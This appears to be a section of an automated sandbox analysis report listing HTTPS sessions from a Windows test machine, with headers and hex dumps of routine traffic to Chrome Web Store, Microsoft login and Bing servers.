2024-10-23 22:26:53 UTC	1512	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 23 Oct 2024 22:26:53 GMT Content-Disposition: attachment; filename="json.txt"; filename*=UTF-8''json.txt P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Report-To: {"group":"coop_chromewebstore","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/chromewebstore"}]} Content-Security-Policy: script-src 'report-sample' 'nonce-8tCURvDGaMfOflp3NcHtlQ' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';worker-src 'self';report-uri /webstore/cspreport Content-Security-Policy: require-trusted-types-for 'script';report-uri https://csp.withgoogle.com/csp/chromewebstore/2 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="coop_chromewebstore" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: NID=518=DIccAVtK-Qjf-_B5wl_GgwDKG4kOxEdn2-cJslV5QkPk0TyZvkh0TTPOScHnrkY91EYPEFCHImsBTojllst70Ng8ylCc19ok6d75GL-1KgCbZCgkrUODLbrb-XryjftOEcggjfQvVv-pvu8XSkxWQc2irAXIxIiS0z0_jIuKSBVvXdDcNBc; expires=Thu, 24-Apr-2025 22:26:53 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-23 22:26:53 UTC	1512	IN	Data Raw: 31 61 63 32 0d 0a 7b 22 69 63 6f 6e 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6c 68 33 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 61 71 61 68 47 7a 33 65 75 58 61 64 6d 74 6d 70 38 4e 5a 6e 75 4b 50 6f 55 6d 34 63 6d 65 77 4e 59 30 41 49 31 61 5f 63 4d 73 43 32 38 63 66 76 42 32 42 78 33 4e 41 72 59 39 4d 69 35 30 6f 32 7a 46 34 35 55 68 37 34 52 6d 6d 71 2d 42 68 36 64 4a 52 73 56 41 62 6d 22 2c 22 73 68 6f 77 5f 75 73 65 72 5f 63 6f 75 6e 74 22 3a 74 72 75 65 2c 22 6c 6f 63 61 6c 69 7a 65 64 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 6f 20 6d 6f 72 65 20 69 6e 20 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 20 77 69 74 68 20 41 64 6f 62 65 20 41 63 72 6f 62 61 74 20 50 44 46 20 74 6f 6f 6c 73 2e 20 56 69 65 77 2c 20 66 69 6c Data Ascii: 1ac2{"icon_url":"https://lh3.googleusercontent.com/aqahGz3euXadmtmp8NZnuKPoUm4cmewNY0AI1a_cMsC28cfvB2Bx3NArY9Mi50o2zF45Uh74Rmmq-Bh6dJRsVAbm","show_user_count":true,"louserzed_description":"Do more in Google Chrome with Adobe Acrobat PDF tools. View, fil
2024-10-23 22:26:53 UTC	1512	IN	Data Raw: 31 36 2e 70 6e 67 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 5c 22 34 38 5c 22 3a 20 5c 22 62 72 6f 77 73 65 72 2f 69 6d 61 67 65 73 2f 61 63 72 6f 62 61 74 5f 64 63 5f 61 70 70 69 63 6f 6e 5f 34 38 2e 70 6e 67 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 5c 22 31 32 38 5c 22 3a 20 5c 22 62 72 6f 77 73 65 72 2f 69 6d 61 67 65 73 2f 61 63 72 6f 62 61 74 5f 64 63 5f 61 70 70 69 63 6f 6e 5f 31 32 38 2e 70 6e 67 5c 22 5c 6e 20 20 20 20 7d 2c 5c 6e 20 20 20 20 5c 22 61 63 74 69 6f 6e 5c 22 3a 20 7b 5c 6e 20 20 20 20 20 20 20 20 5c 22 64 65 66 61 75 6c 74 5f 74 69 74 6c 65 5c 22 3a 20 5c 22 5f 5f 4d 53 47 5f 65 78 74 65 6e 73 69 6f 6e 4d 65 6e 75 54 69 74 6c 65 5f 5f 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 5c 22 64 65 66 61 75 6c 74 5f 69 63 6f 6e 5c 22 3a 20 5c 22 62 72 Data Ascii: 16.png\",\n \"48\": \"browser/images/acrobat_dc_appicon_48.png\",\n \"128\": \"browser/images/acrobat_dc_appicon_128.png\"\n },\n \"action\": {\n \"default_title\": \"__MSG_extensionMenuTitle__\",\n \"default_icon\": \"br
2024-10-23 22:26:53 UTC	1512	IN	Data Raw: 20 20 20 20 5c 22 6d 61 74 63 68 65 73 5c 22 3a 20 5b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 68 74 74 70 73 3a 2f 2f 64 72 69 76 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 2a 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 68 74 74 70 73 3a 2f 2f 64 72 69 76 65 2e 75 73 65 72 63 6f 6e 74 65 6e 74 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 64 6f 77 6e 6c 6f 61 64 2a 5c 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5d 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 63 73 73 5c 22 3a 20 5b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 63 73 73 2f 67 64 72 69 76 65 2d 63 6f 6e 74 65 6e 74 2d 73 63 72 69 70 74 2e 63 73 73 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 Data Ascii: \"matches\": [\n \"https://drive.google.com/\",\n \"https://drive.usercontent.google.com/download\"\n ],\n \"css\": [\n \"browser/css/gdrive-content-script.css\",\n \"
2024-10-23 22:26:53 UTC	1512	IN	Data Raw: 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 6a 73 2f 6c 6f 63 61 6c 2d 66 74 65 2e 68 74 6d 6c 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 6a 73 2f 6c 73 43 6f 70 79 2e 68 74 6d 6c 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 73 69 67 6e 49 6e 41 64 6f 62 65 59 6f 6c 6f 2e 68 74 6d 6c 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 69 6d 61 67 65 73 2f 61 63 72 6f 62 61 74 5f 64 63 5f 61 70 70 69 63 6f 6e 5f 31 32 38 2e 70 6e 67 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 69 6d 61 67 65 73 2f 61 63 72 6f 62 61 74 5f 64 63 5f 74 72 65 66 6f 69 6c 5f 32 34 5f 77 68 69 74 65 2e 73 76 67 5c 22 Data Ascii: \"browser/js/local-fte.html\",\n \"browser/js/lsCopy.html\",\n \"signInAdobeYolo.html\",\n \"browser/images/acrobat_dc_appicon_128.png\",\n \"browser/images/acrobat_dc_trefoil_24_white.svg\"
2024-10-23 22:26:53 UTC	810	IN	Data Raw: 74 74 70 73 3a 2f 2f 64 72 69 76 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 2a 5c 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5d 5c 6e 20 20 20 20 20 20 20 20 7d 5c 6e 20 20 20 20 5d 2c 5c 6e 20 20 20 20 5c 22 63 6f 6e 74 65 6e 74 5f 73 65 63 75 72 69 74 79 5f 70 6f 6c 69 63 79 5c 22 3a 20 7b 5c 6e 20 20 20 20 20 20 20 20 5c 22 65 78 74 65 6e 73 69 6f 6e 5f 70 61 67 65 73 5c 22 3a 20 5c 22 73 63 72 69 70 74 2d 73 72 63 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 27 73 65 6c 66 27 3b 20 6f 62 6a 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 3b 20 73 74 79 6c 65 2d 73 72 63 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 3b 20 66 72 61 6d 65 2d 73 72 63 20 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 20 68 Data Ascii: ttps://drive.google.com/*\"\n ]\n }\n ],\n \"content_security_policy\": {\n \"extension_pages\": \"script-src 'self'; child-src 'self'; object-src 'self'; style-src 'self' 'unsafe-inline'; frame-src https://use.typekit.net h
2024-10-23 22:26:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49744	13.107.246.57	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:54 UTC	429	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:54 UTC	784	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:26:54 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:46 GMT ETag: 0x8DB5C3F47E260FD x-ms-request-id: 5a2ef381-401e-0045-2537-2316b5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241023T222654Z-15b8d89586f989rks44whx5v7s0000000d6000000000kvv9 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 22:26:54 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.16	49745	204.79.197.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:58 UTC	812	OUT	GET /manifest/threshold.appcache HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Origin: https://www.bing.com Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=3a628620&IPMID=1707317755885; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
2024-10-23 22:26:59 UTC	1200	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 3323 Content-Type: text/cache-manifest; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: MUIDB=5047E5942BB2460EA35B53CCF78DDB3D; expires=Mon, 17-Nov-2025 22:26:59 GMT; path=/; HttpOnly Set-Cookie: SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=f66a65f7&IPMID=1707317782133; domain=.bing.com; expires=Mon, 17-Nov-2025 22:26:59 GMT; path=/; secure; SameSite=None X-EventID: 67197833d6084fb9b654b1dd7e0bbb43 UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 8120F1C0C17C4D5DB7B1A48CD121B544 Ref B: DFW30EDGE1917 Ref C: 2024-10-23T22:26:59Z Date: Wed, 23 Oct 2024 22:26:58 GMT Connection: close
2024-10-23 22:26:59 UTC	2464	IN	Data Raw: 43 41 43 48 45 20 4d 41 4e 49 46 45 53 54 0d 0a 23 20 56 65 72 73 69 6f 6e 3a 66 36 36 61 36 35 66 37 0d 0a 43 41 43 48 45 3a 0d 0a 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 0d 0a 2f 72 70 2f 71 53 4b 59 6c 55 33 39 51 77 30 68 2d 63 62 48 32 64 6d 42 54 34 45 68 38 6c 4d 2e 6a 73 0d 0a 68 74 74 70 73 3a 2f 2f 72 2e 62 69 6e 67 2e 63 6f 6d 2f 72 62 2f 31 37 2f 6a 6e 63 2c 6e 6a 2f 36 61 61 2d 45 46 32 49 41 56 77 6e 54 54 4f 69 77 41 62 68 77 49 5f 56 6d 43 77 2e 6a 73 3f 62 75 3d 44 79 67 78 65 49 51 42 69 51 47 4d 41 59 45 42 65 33 37 45 41 63 63 42 4d 62 63 42 4d 63 6f 42 26 6f 72 3d 77 0d 0a 68 74 74 70 73 3a 2f 2f 72 2e 62 69 6e 67 2e 63 6f 6d 2f 72 62 2f 31 61 2f 63 69 72 33 2c 6f 72 74 6c Data Ascii: CACHE MANIFEST# Version:f66a65f7CACHE:/AS/API/WindowsCortanaPane/V2/Init/rp/qSKYlU39Qw0h-cbH2dmBT4Eh8lM.jshttps://r.bing.com/rb/17/jnc,nj/6aa-EF2IAVwnTTOiwAbhwI_VmCw.js?bu=DygxeIQBiQGMAYEBe37EAccBMbcBMcoB&or=whttps://r.bing.com/rb/1a/cir3,ortl
2024-10-23 22:26:59 UTC	628	IN	Data Raw: 30 54 52 42 56 45 63 41 4e 74 4f 43 41 6a 69 43 5f 67 51 31 4d 2e 6a 73 0d 0a 68 74 74 70 73 3a 2f 2f 72 2e 62 69 6e 67 2e 63 6f 6d 2f 72 70 2f 55 64 72 74 75 6c 46 69 74 55 56 34 77 38 43 6f 6c 68 77 47 7a 41 42 35 79 74 4d 2e 6a 73 0d 0a 68 74 74 70 73 3a 2f 2f 72 2e 62 69 6e 67 2e 63 6f 6d 2f 72 70 2f 77 44 79 33 45 75 38 31 39 52 59 41 67 38 47 4c 41 6a 4a 77 31 41 4f 42 30 72 59 2e 6a 73 0d 0a 68 74 74 70 73 3a 2f 2f 72 2e 62 69 6e 67 2e 63 6f 6d 2f 72 70 2f 77 66 45 58 63 33 61 45 50 71 36 72 63 59 71 30 5a 4a 54 6d 4a 6c 75 7a 46 30 4d 2e 6a 73 0d 0a 68 74 74 70 73 3a 2f 2f 72 2e 62 69 6e 67 2e 63 6f 6d 2f 72 70 2f 77 4d 4a 72 5a 75 70 6e 6b 5f 71 49 54 78 51 2d 64 73 75 61 30 75 41 51 6e 48 77 2e 6a 73 0d 0a 68 74 74 70 73 3a 2f 2f 72 2e 62 69 6e Data Ascii: 0TRBVEcANtOCAjiC_gQ1M.jshttps://r.bing.com/rp/UdrtulFitUV4w8ColhwGzAB5ytM.jshttps://r.bing.com/rp/wDy3Eu819RYAg8GLAjJw1AOB0rY.jshttps://r.bing.com/rp/wfEXc3aEPq6rcYq0ZJTmJluzF0M.jshttps://r.bing.com/rp/wMJrZupnk_qITxQ-dsua0uAQnHw.jshttps://r.bin
2024-10-23 22:26:59 UTC	231	IN	Data Raw: 72 2e 62 69 6e 67 2e 63 6f 6d 2f 72 73 2f 32 66 2f 33 6b 2f 63 69 72 33 2c 6f 72 74 6c 2c 63 63 2c 6e 63 2f 39 65 4e 49 33 79 6b 6f 78 55 42 63 66 4e 52 67 44 4a 61 46 2d 67 30 61 5f 30 63 2e 63 73 73 3f 6f 72 3d 77 0d 0a 68 74 74 70 73 3a 2f 2f 72 2e 62 69 6e 67 2e 63 6f 6d 2f 72 73 2f 35 58 2f 32 51 71 2f 6f 72 74 6c 2c 63 63 2c 6e 63 2f 6f 6e 72 61 37 50 51 6c 39 6f 35 62 59 54 32 6c 41 53 49 31 42 45 34 44 44 45 73 2e 63 73 73 3f 6f 72 3d 77 0d 0a 68 74 74 70 73 3a 2f 2f 72 2e 62 69 6e 67 2e 63 6f 6d 2f 72 73 2f 36 74 2f 66 48 2f 6e 6a 2f 61 41 42 4c 4e 54 5f 46 56 34 35 51 6a 59 51 66 6e 52 48 72 42 43 41 6b 34 47 55 2e 6a 73 3f 6f 72 3d 77 0d 0a 4e 45 54 57 4f 52 4b 3a 0d 0a 2a Data Ascii: r.bing.com/rs/2f/3k/cir3,ortl,cc,nc/9eNI3ykoxUBcfNRgDJaF-g0a_0c.css?or=whttps://r.bing.com/rs/5X/2Qq/ortl,cc,nc/onra7PQl9o5bYT2lASI1BE4DDEs.css?or=whttps://r.bing.com/rs/6t/fH/nj/aABLNT_FV45QjYQfnRHrBCAk4GU.js?or=wNETWORK:*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49746	20.190.159.23	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:59 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-23 22:26:59 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-23 22:27:00 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 23 Oct 2024 22:25:59 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BAY x-ms-request-id: 83662212-4e55-40a9-98cf-0787a785bea1 PPServer: PPV: 30 H: PH1PEPF00011E45 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 23 Oct 2024 22:26:59 GMT Connection: close Content-Length: 11392
2024-10-23 22:27:00 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.16	49747	23.1.33.206	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:59 UTC	797	OUT	GET /rb/17/jnc,nj/6aa-EF2IAVwnTTOiwAbhwI_VmCw.js?bu=DygxeIQBiQGMAYEBe37EAccBMbcBMcoB&or=w HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=f66a65f7&IPMID=1707317782133
2024-10-23 22:27:00 UTC	1227	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Server: Kestrel Access-Control-Allow-Headers: * Access-Control-Allow-Origin: * Last-Modified: Sat, 19 Oct 2024 00:15:58 GMT X-EventID: 67154932a8f046908e3c2cfd75f4f383 UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-AS-InstrumentationOptions: AppServerLoggingMaster=1 X-AS-MACHINENAME: BNZEEAP00016A5F X-AS-SuppressSetCookie: 1 X-XSS-Protection: 0 cross-origin-resource-policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.75} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingrms"}]} Cache-Control: public, max-age=157761 Expires: Fri, 25 Oct 2024 18:16:20 GMT Date: Wed, 23 Oct 2024 22:26:59 GMT Content-Length: 21950 Connection: close Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.8e200117.1729722419.4ed09f22 Timing-Allow-Origin: *
2024-10-23 22:27:00 UTC	15157	IN	Data Raw: 2f 2a 21 44 69 73 61 62 6c 65 4a 61 76 61 73 63 72 69 70 74 50 72 6f 66 69 6c 65 72 2a 2f 0a 76 61 72 20 42 4d 3d 42 4d 7c 7c 7b 7d 3b 42 4d 2e 63 6f 6e 66 69 67 3d 7b 42 3a 7b 74 69 6d 65 6f 75 74 3a 31 65 33 2c 64 65 6c 61 79 3a 37 35 30 2c 6d 61 78 55 72 6c 4c 65 6e 67 74 68 3a 33 30 30 2c 73 65 6e 64 6c 69 6d 69 74 3a 32 30 2c 6d 61 78 50 61 79 6c 6f 61 64 53 69 7a 65 3a 37 65 33 7d 2c 56 3a 7b 64 69 73 74 61 6e 63 65 3a 32 30 7d 2c 4e 3a 7b 6d 61 78 55 72 6c 4c 65 6e 67 74 68 3a 33 30 30 7d 2c 45 3a 7b 62 75 66 66 65 72 3a 33 30 2c 74 69 6d 65 6f 75 74 3a 35 65 33 2c 6d 61 78 55 72 6c 4c 65 6e 67 74 68 3a 33 30 30 7d 2c 43 3a 7b 64 69 73 74 61 6e 63 65 3a 35 30 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 76 74 28 29 7b 69 Data Ascii: /!DisableJavascriptProfiler/var BM=BM\|\|{};BM.config={B:{timeout:1e3,delay:750,maxUrlLength:300,sendlimit:20,maxPayloadSize:7e3},V:{distance:20},N:{maxUrlLength:300},E:{buffer:30,timeout:5e3,maxUrlLength:300},C:{distance:50}},function(n){function vt(){i
